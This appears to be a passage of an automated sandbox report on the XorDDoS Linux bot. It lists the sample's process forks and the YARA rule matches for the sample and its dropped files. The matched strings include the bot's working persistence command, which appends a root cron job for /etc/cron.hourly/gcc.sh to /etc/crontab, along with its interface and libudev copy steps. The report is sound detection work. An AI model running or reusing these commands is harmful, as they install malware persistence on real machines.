qfvvwlqqkq (PID: 5536, Parent: 5534, MD5: 0e70bb0814ee7b2c7ad5cf64f29d5619) Arguments: /usr/bin/qfvvwlqqkq su 5222

qfvvwlqqkq New Fork (PID: 5539, Parent: 5536)

0Xorddos.o New Fork (PID: 5537, Parent: 5222)

0Xorddos.o New Fork (PID: 5538, Parent: 5537)

qfvvwlqqkq (PID: 5538, Parent: 5537, MD5: 0e70bb0814ee7b2c7ad5cf64f29d5619) Arguments: /usr/bin/qfvvwlqqkq who 5222

qfvvwlqqkq New Fork (PID: 5541, Parent: 5538)

0Xorddos.o New Fork (PID: 5546, Parent: 5222)

0Xorddos.o New Fork (PID: 5547, Parent: 5546)

yfmoszlrcg (PID: 5547, Parent: 5546, MD5: 60863a11322160a778609c30ecc68f82) Arguments: /usr/bin/yfmoszlrcg bash 5222

yfmoszlrcg New Fork (PID: 5548, Parent: 5547)

0Xorddos.o New Fork (PID: 5549, Parent: 5222)

0Xorddos.o New Fork (PID: 5550, Parent: 5549)

yfmoszlrcg (PID: 5550, Parent: 5549, MD5: 60863a11322160a778609c30ecc68f82) Arguments: /usr/bin/yfmoszlrcg id 5222

yfmoszlrcg New Fork (PID: 5551, Parent: 5550)

0Xorddos.o New Fork (PID: 5552, Parent: 5222)

0Xorddos.o New Fork (PID: 5553, Parent: 5552)

yfmoszlrcg (PID: 5553, Parent: 5552, MD5: 60863a11322160a778609c30ecc68f82) Arguments: /usr/bin/yfmoszlrcg "netstat -an" 5222

yfmoszlrcg New Fork (PID: 5556, Parent: 5553)

0Xorddos.o New Fork (PID: 5554, Parent: 5222)

0Xorddos.o New Fork (PID: 5555, Parent: 5554)

yfmoszlrcg (PID: 5555, Parent: 1860, MD5: 60863a11322160a778609c30ecc68f82) Arguments: /usr/bin/yfmoszlrcg ifconfig 5222

yfmoszlrcg New Fork (PID: 5559, Parent: 5555)

0Xorddos.o New Fork (PID: 5557, Parent: 5222)

0Xorddos.o New Fork (PID: 5558, Parent: 5557)

yfmoszlrcg (PID: 5558, Parent: 1860, MD5: 60863a11322160a778609c30ecc68f82) Arguments: /usr/bin/yfmoszlrcg su 5222

yfmoszlrcg New Fork (PID: 5560, Parent: 5558)

0Xorddos.o New Fork (PID: 5563, Parent: 5222)

0Xorddos.o New Fork (PID: 5564, Parent: 5563)

ohcvvmubid (PID: 5564, Parent: 5563, MD5: c7ce206c868addcd2e0bc6024f6f630d) Arguments: /usr/bin/ohcvvmubid id 5222

ohcvvmubid New Fork (PID: 5567, Parent: 5564)

0Xorddos.o New Fork (PID: 5565, Parent: 5222)

0Xorddos.o New Fork (PID: 5566, Parent: 5565)

ohcvvmubid (PID: 5566, Parent: 1860, MD5: c7ce206c868addcd2e0bc6024f6f630d) Arguments: /usr/bin/ohcvvmubid top 5222

ohcvvmubid New Fork (PID: 5570, Parent: 5566)

0Xorddos.o New Fork (PID: 5568, Parent: 5222)

0Xorddos.o New Fork (PID: 5569, Parent: 5568)

ohcvvmubid (PID: 5569, Parent: 5568, MD5: c7ce206c868addcd2e0bc6024f6f630d) Arguments: /usr/bin/ohcvvmubid who 5222

ohcvvmubid New Fork (PID: 5573, Parent: 5569)

0Xorddos.o New Fork (PID: 5571, Parent: 5222)

0Xorddos.o New Fork (PID: 5572, Parent: 5571)

ohcvvmubid (PID: 5572, Parent: 1860, MD5: c7ce206c868addcd2e0bc6024f6f630d) Arguments: /usr/bin/ohcvvmubid top 5222

ohcvvmubid New Fork (PID: 5576, Parent: 5572)

0Xorddos.o New Fork (PID: 5574, Parent: 5222)

0Xorddos.o New Fork (PID: 5575, Parent: 5574)

ohcvvmubid (PID: 5575, Parent: 1860, MD5: c7ce206c868addcd2e0bc6024f6f630d) Arguments: /usr/bin/ohcvvmubid "ps -ef" 5222

ohcvvmubid New Fork (PID: 5577, Parent: 5575)

0Xorddos.o New Fork (PID: 5580, Parent: 5222)

0Xorddos.o New Fork (PID: 5581, Parent: 5580)

kswkpwzxrd (PID: 5581, Parent: 1860, MD5: 0fbca893d09e52c16eab105ba5aa9665) Arguments: /usr/bin/kswkpwzxrd "route -n" 5222

kswkpwzxrd New Fork (PID: 5585, Parent: 5581)

0Xorddos.o New Fork (PID: 5582, Parent: 5222)

0Xorddos.o New Fork (PID: 5583, Parent: 5582)

kswkpwzxrd (PID: 5583, Parent: 1860, MD5: 0fbca893d09e52c16eab105ba5aa9665) Arguments: /usr/bin/kswkpwzxrd "cd /etc" 5222

kswkpwzxrd New Fork (PID: 5589, Parent: 5583)

0Xorddos.o New Fork (PID: 5584, Parent: 5222)

0Xorddos.o New Fork (PID: 5586, Parent: 5584)

kswkpwzxrd (PID: 5586, Parent: 1860, MD5: 0fbca893d09e52c16eab105ba5aa9665) Arguments: /usr/bin/kswkpwzxrd "cd /etc" 5222

kswkpwzxrd New Fork (PID: 5592, Parent: 5586)

0Xorddos.o New Fork (PID: 5587, Parent: 5222)

0Xorddos.o New Fork (PID: 5588, Parent: 5587)

kswkpwzxrd (PID: 5588, Parent: 1860, MD5: 0fbca893d09e52c16eab105ba5aa9665) Arguments: /usr/bin/kswkpwzxrd "ls -la" 5222

kswkpwzxrd New Fork (PID: 5593, Parent: 5588)

0Xorddos.o New Fork (PID: 5590, Parent: 5222)

0Xorddos.o New Fork (PID: 5591, Parent: 5590)

kswkpwzxrd (PID: 5591, Parent: 1860, MD5: 0fbca893d09e52c16eab105ba5aa9665) Arguments: /usr/bin/kswkpwzxrd gnome-terminal 5222

kswkpwzxrd New Fork (PID: 5594, Parent: 5591)

systemd New Fork (PID: 5234, Parent: 5233)

snapd-env-generator (PID: 5234, Parent: 5233, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
0Xorddos.o	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
0Xorddos.o	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
0Xorddos.o	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0

Dropped Files

Source	Rule	Description	Author	Strings
/usr/bin/cvvhpkxdyk	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/cvvhpkxdyk	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/wzulpfbuxk	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/wzulpfbuxk	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/wzulpfbuxk	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
/usr/bin/njezqqgxiu	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/njezqqgxiu	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/njezqqgxiu	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
/usr/bin/tngemhgnzk	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/tngemhgnzk	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/tngemhgnzk	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
/usr/bin/aoyymackpm	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/aoyymackpm	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/aoyymackpm	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
/usr/bin/qizbpqmtbi	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/qizbpqmtbi	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/qizbpqmtbi	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
/usr/bin/gbsknxiwip	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/gbsknxiwip	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/gbsknxiwip	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
/usr/bin/uqxezzsakx	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/uqxezzsakx	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/uqxezzsakx	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
/usr/lib/libudev.so	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/lib/libudev.so	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/lib/libudev.so	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
/usr/bin/cukrqcagnz	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/cukrqcagnz	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/cukrqcagnz	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
/usr/bin/cvltgpdmgk	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/cvltgpdmgk	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/cvltgpdmgk	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
/usr/bin/zareoppgxh	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/zareoppgxh	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/zareoppgxh	XOR_DDosv1	Rule to detect XOR DDos infection	Akamai CSIRT	0x6b0c4:$st0: BB2FA36AAA9541F0 0x6b0d4:$st0: BB2FA36AAA9541F0 0x6b0e4:$st0: BB2FA36AAA9541F0 0x6b0f4:$st0: BB2FA36AAA9541F0 0x6b104:$st0: BB2FA36AAA9541F0 0x6b114:$st0: BB2FA36AAA9541F0 0x6b124:$st0: BB2FA36AAA9541F0 0x6b134:$st0: BB2FA36AAA9541F0 0x6b144:$st0: BB2FA36AAA9541F0 0x6b154:$st0: BB2FA36AAA9541F0 0x6b164:$st0: BB2FA36AAA9541F0 0x6b174:$st0: BB2FA36AAA9541F0 0x6b184:$st0: BB2FA36AAA9541F0 0x6b194:$st0: BB2FA36AAA9541F0 0x6b1a4:$st0: BB2FA36AAA9541F0 0x6b1b4:$st0: BB2FA36AAA9541F0 0x6b1c4:$st0: BB2FA36AAA9541F0 0x6b1d4:$st0: BB2FA36AAA9541F0 0x6b1e4:$st0: BB2FA36AAA9541F0 0x6b1f4:$st0: BB2FA36AAA9541F0 0x6b204:$st0: BB2FA36AAA9541F0
/usr/bin/gpcmhoiszu	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
/usr/bin/gpcmhoiszu	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x863fb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x8644d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x6ad30:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x6ae29:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
